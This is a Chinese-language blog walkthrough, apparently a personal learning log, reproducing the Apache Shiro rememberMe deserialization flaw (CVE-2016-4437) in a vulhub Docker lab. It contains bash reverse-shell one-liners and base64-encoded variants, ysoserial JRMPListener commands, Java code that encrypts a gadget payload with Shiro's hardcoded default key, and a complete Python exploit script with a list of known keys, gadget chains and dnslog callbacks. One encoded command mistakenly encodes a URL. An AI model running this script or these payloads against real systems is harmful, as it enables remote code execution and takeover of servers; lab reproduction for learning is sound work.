漏洞成因:

影响版本:

影响Shiro<1.2.5,当未设置用于”remember me”特性的AES密钥时,存在反序列化漏洞,可远程命令执行

环境创建:

首先进入目录

1
2
3
4
5
6
7
8
9
cd \vulhub-master\shiro\CVE-2016-4437
#执行命令
docker-compose build
#因为8080跟burp的端口冲突了然后我修改端口为9090
打开docker-compose.yml
修改端口
- "9090:8080"
# 启动整个环境
docker-compose up -d

访问http://127.0.0.1:9090/

复现需要ysoserial工具:

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

测试nc

1
2
在攻击a上: nc -l 1234
在b上: nc 192.168.231.129 1234

通信截图

漏洞利用,需要在攻击的机器上监听下端口

1
nc -l -p 1234

反弹shell命令

1
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

把命令编码

链接失效了http://www.jackson-t.ca/runtime-exec-payloads.html

大佬发了个替代的

https://ares-x.com/tools/runtime-exec/

然后运行命令(通过 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令) 看不懂什么意思,反正先试试看

注:

payloads/JRMPClient 是结合 exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload;
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

1
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

要在linux中运行 windows运行报错

监听6666端口

python shiro.py 攻击者IP:攻击者监听的java端口


上周在忙工作,这周开始复现

重新启动docker

以下为闲话可以忽略。。。

复现需要用到一个ysoserial-master-xx.jar的工具,你问我在哪里下我也不知道,找大佬要的,反正很好用就对了,对了,复现漏洞你要了解原理,要了解java反序列化什么cc1链什么的,反正我现在都不会,就先复现漏洞好了,记录下版本号,记录下危害,到实际利用的时候能使用就好了,原理什么的是后面的事情,一上来就学原理脑袋都大了。

从这开始开始复现

第一步 生成poc文件

使用ysoserial生成CommonsBeanutils1的Gadget:<ps 我也还不懂,等我懂了的时候在记笔记,反正之前大佬复现文章中说是叫这个

命令

1
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "touch /tmp/success" >poc.ser

会生成一个poc.ser的文件 < 命令的大概意思是使用yso这个jar包 利用cc1链 执行一个在tmp目录里创建success文件的命令,最后生成一个poc.ser的文件

第二步 使用Shiro内置的默认密钥对Payload进行加密

需要编写java代码使用默认密钥aes加密算法对文件加密

执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class ShiroTest {
public static void main(String[] args) {
byte[] payloads = new byte[0];
try {
//FileSystems.getDefault().getPath("C:/", "access.log");
//payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:\\Users\\tea90\\Documents\\tea\\tools", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
} catch (IOException e) {
e.printStackTrace();
} catch (Base64DecodingException e) {
e.printStackTrace();
}

}
}

执行结果

有个报错,但是也跑出来不知道对不对

1
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

发送生成的cookie看是否创建了文件,创建文件了就代表复现成功了。

用浏览器打开http://127.0.0.1:9090

用户名和密码为:admin:vulhub

用127.0.0.1抓不到包

http://localhost:9090访问

直接替换cookie

刷新页面,进入docker的控制台看命令是否执行了

反弹shell

1
bash -i >& /dev/tcp/192.168.0.160/6666 0>&1

命令编码

https://ares-x.com/tools/runtime-exec/

1
bash -c {echo,aHR0cHM6Ly9hcmVzLXguY29tL3Rvb2xzL3J1bnRpbWUtZXhlYy8=}|{base64,-d}|{bash,-i}

攻击端监听 nc -lvp 6666

1
python2 shiro_exploit.py -t 3 -u http://127.0.0.1:9090/doLogin -p "bash -c {echo,aHR0cHM6Ly9hcmVzLXguY29tL3Rvb2xzL3J1 bnRpbWUtZXhlYy8=}|{base64,-d}|{bash,-i}"

执行脚本


然后我电脑是有python3和python2 然后一直就有个问题pip安装不上东西

首先出现了个

大佬推荐了个python虚拟环境conda可以之后试一试

Fatal error in launcher: Unable to create process using ‘“‘(已解决)

就重新安装一下python点击modify或者repair就好了

然后还出现了一个问题,安装requests的包就一直为空,解决方法是python3和python2共存

步骤就是 先安装python3 然后设置环境变量,在安装python2设置环境变量(C:\Python27;C:\Python27\Scripts 这两个目录添加到环境变量里),把安装目录的python改成python2和python3,pythonw改成pythonw2和pythonw3

然后使用的命令为python2和python3

还有在分别安装pip

python2 -m pip install –upgrade pip –force-reinstall

python3 -m pip install –upgrade pip –force-reinstall

参考文章:https://blog.csdn.net/qj30212/article/details/78565083


搞完上面所有的步骤之后,我发现还是安装不上,太晚了我就睡觉了

后来为什么好了,我到公司重新尝试就好了,我也不知道什么原因,因为我各种方式都尝试了,增加超时时间,换源都尝试了昨天就是不好,今天就好了

现在可以安装requests包了

还有个依赖包要装

ImportError: No module named Crypto.Cipher

pip2 install pycrypto

然后又报错了

https://www.lfd.uci.edu/~gohlke/pythonlibs/

打开网站搜索到pycrypto手动进行安装

他说不在维护了

那我只好重新写个脚本了,首先看下脚本大概的功能然后在进行重写

本来打算重写了,可无奈看不懂代码,于是我继续搜索,发现了这个

看来无论如何都要安装conda了

开搞!

首先要从https://docs.conda.io/en/latest/miniconda.html

这个网址下载你对应系统的安装包,如果其他系统的,你不会那我建议你搜下教程,因为我也不会

我只需要下载win64版本的就好了

安装过程就是一路下一步,然后选择加到环境变量,重新打开一个命令行执行conda看是否可以执行

然后添加国内源

尝试执行conda install pycrypto

然后那个小竖线一直在转 它在转我在等,结果到底是什么

进行到这里的时候,有大佬发过来一个网站,欣喜若狂

https://web.archive.org/web/20210709153323/http://www.voidspace.org.uk/python/pycrypto-2.6.1/

起因是pycrypto安装不上吗,

然后一直搜索搜到了个http://www.voidspace.org.uk/python/pycrypto-2.6.1/

这个网站,访问了之后,挂掉了。。。

然后大佬发来了个那个站好像挂了,这里可以访问历史页面

然后点击下载,我也不知道下哪个 随便选选中了这个

下载安装— 在重新打开个命令行 在尝试执行脚本

python2 shiro_exploit.py -t 3 -u http://127.0.0.1:9090/doLogin -p “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}”

好像好了,他不在报依赖的问题了,他开始报代码的问题了

遂,查询代码看看,他可能是下面那个jar包没有找到,换成我之前工具的名字,ysoserial-master-SNAPSHOT.jar在尝试执行。


重新尝试执行脚本

因为到公司了ip换了 我重新测试nc可不可以联通

客户机监听6666端口

ifconfig 查询ip

nc -lvp 6666

docker中的环境尝试反弹shell

bash -i >& /dev/tcp/192.168.1.101/6666 0>&1

看到已经可以反弹shell了

重新命令编码

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

目标机器监听 nc -lvp 6666

完整命令:

1
python2 shiro_exploit.py -t 3 -u http://127.0.0.1:9090 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

需要等一会,然后成功反弹shell

跟docker的id是一样的

我理解的原理

他本质的原因是cookie有个rememberMe的参数,他出现了个问题什么问题呢,他本身的作用就是为了记住密码的,然后下一次打开浏览器就会直接读取rememberMe的值,这是他本身的逻辑,然后缺陷在与他本身的密码是硬编码的,然后他的算法也是可以被拆解的,我们通过他原本的算法(序列化+使用密钥aes+base64)加上硬编码的密钥就可以得到这个rememberMe的值了,然后通过脚本加反序列化利用工具yso就可以成功的反弹shell了。

然后还不明确的点是反序列化,和yso反序列化工具的作用把。可能后面理解了再来补充,然后自己生成的rememberme的值没有执行成功,还不懂怎么发送cookie,等学会了在来试试把。


大佬发的ysoserial-master-SNAPSHOT.jar

链接: https://pan.baidu.com/s/1qf2rG1SOUWvDc-rMrT3m4A?pwd=dszf 提取码: dszf 复制这段内容后打开百度网盘手机App,操作更方便哦

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial-master-SNAPSHOT.jar'

CipherKeys = [
"4AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"2AvVhdsgUs0FSA3SDFAdag==",
"6ZmI6I2j5Y+R5aSn5ZOlAA==",
"wGiHplamyXlVB11UXWol8g==",
"cmVtZW1iZXJNZQAAAAAAAA==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"ZnJlc2h6Y24xMjM0NTY3OA==",
"L7RioUULEFhRyxM7a2R/Yg==",
"RVZBTk5JR0hUTFlfV0FPVQ==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"WkhBTkdYSUFPSEVJX0NBVA==",
"1QWLxg+NYmxraMoxAXu/Iw==",
"WcfHGU25gNnTxTlmJMeSpw==",
"a2VlcE9uR29pbmdBbmRGaQ==",
"bWluZS1hc3NldC1rZXk6QQ==",
"5aaC5qKm5oqA5pyvAAAAAA==",
"kPH+bIxk5D2deZiIxcaaaA==",
#"ZWvohmPdUsAWT3=KpPqda",
"r0e3c16IdVkouZgk1TKVMg==",
"ZUdsaGJuSmxibVI2ZHc9PQ==",
"U3ByaW5nQmxhZGUAAAAAAA==",
"LEGEND-CAMPUS-CIPHERKEY=="
#"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
gadget,command = params
if not os.path.exists(fp):
raise Exception('jar file not found')
popen = subprocess.Popen(['java','-jar',fp,gadget,command],
stdout=subprocess.PIPE)
BS = AES.block_size
#print(command)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
#key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

def getdomain():
try :
ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
except Exception as e:
print("getdomain error:" + str(e))
ret = "error"
pass
return ret

def getrecord():
try :
ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
#print(ret)
except Exception as e:
print("getrecord error:" + str(e))
ret = "error"
pass
return ret

def check(url):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url

print("checking url:" + url)

domain = getdnshost()
if domain:
reversehost = "http://" + domain

for CipherKey in CipherKeys:
ret = {"vul":False,"CipherKey":"","url":target}

try:
print("try CipherKey :" +CipherKey)

payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

print("generator payload done.")

r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

print("send payload ok.")
for i in range(1,5):
print("checking.....")

time.sleep(2)
temp = getrecord()
if domain in temp:
ret["vul"] = True
ret["CipherKey"] = CipherKey
break
except Exception as e:
print(str(e))
pass
if ret["vul"]:
break
else:
print("get dns host error")
return ret

def exploit(url,gadget,params,CipherKey):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = genpayload((gadget, params),CipherKey,JAR_FILE)
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print(r.text)
except Exception as e:
print("exploit error:" + str(e))
pass

def getdnshost():
reversehost = ""
try :
domain = getdomain()
if domain=="error":
print("getdomain error")
else:
#reversehost = "http://" +domain
reversehost = domain
#print("got reversehost : " + reversehost)
except:
pass
return reversehost

def detector(url,CipherKey,command):
result = []
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
for g in gadgets:
g = g.strip()

domain = getdnshost()
if domain:
if g == "JRMPClient":
param = "%s:80" % domain
else:
param = command.replace("{dnshost}",domain)
payload = genpayload((g, param),CipherKey,JAR_FILE)
print(g + " testing.....")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
#print(r.read())
for i in range(1,5):
#print("checking.....")
time.sleep(2)
temp = getrecord()
if domain in temp:
ret = g
#ret["CipherKey"] = CipherKey
result.append(ret)
print("found gadget:\t" + g)
break
else:
print("get dns host error")
#break
#print(r.text)
except Exception as e:
print("detector error:" + str(e))
pass
return result

def parser_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
sys.exit()

def parse_args():
# parse the arguments
parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
parser.error = parser_error
parser._optionals.title = "OPTIONS"
parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
return parser.parse_args()

if __name__ == '__main__':
args = parse_args()
url = args.url
type = args.type
command = args.params
key = args.key
gadget = args.gadget
if type=="1":
r = check(url)
print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
elif type=="2":
exploit(url,gadget,command,key)
print("exploit done.")
elif type=="3":

r = detector(url,key,command)
if r :
print("found gadget:\n")
print(r)
else:
print("invalid type")

links

https://www.cnblogs.com/panisme/p/12552838.html

https://blog.csdn.net/yukinorong/article/details/107015350

https://ares-x.com/tools/runtime-exec/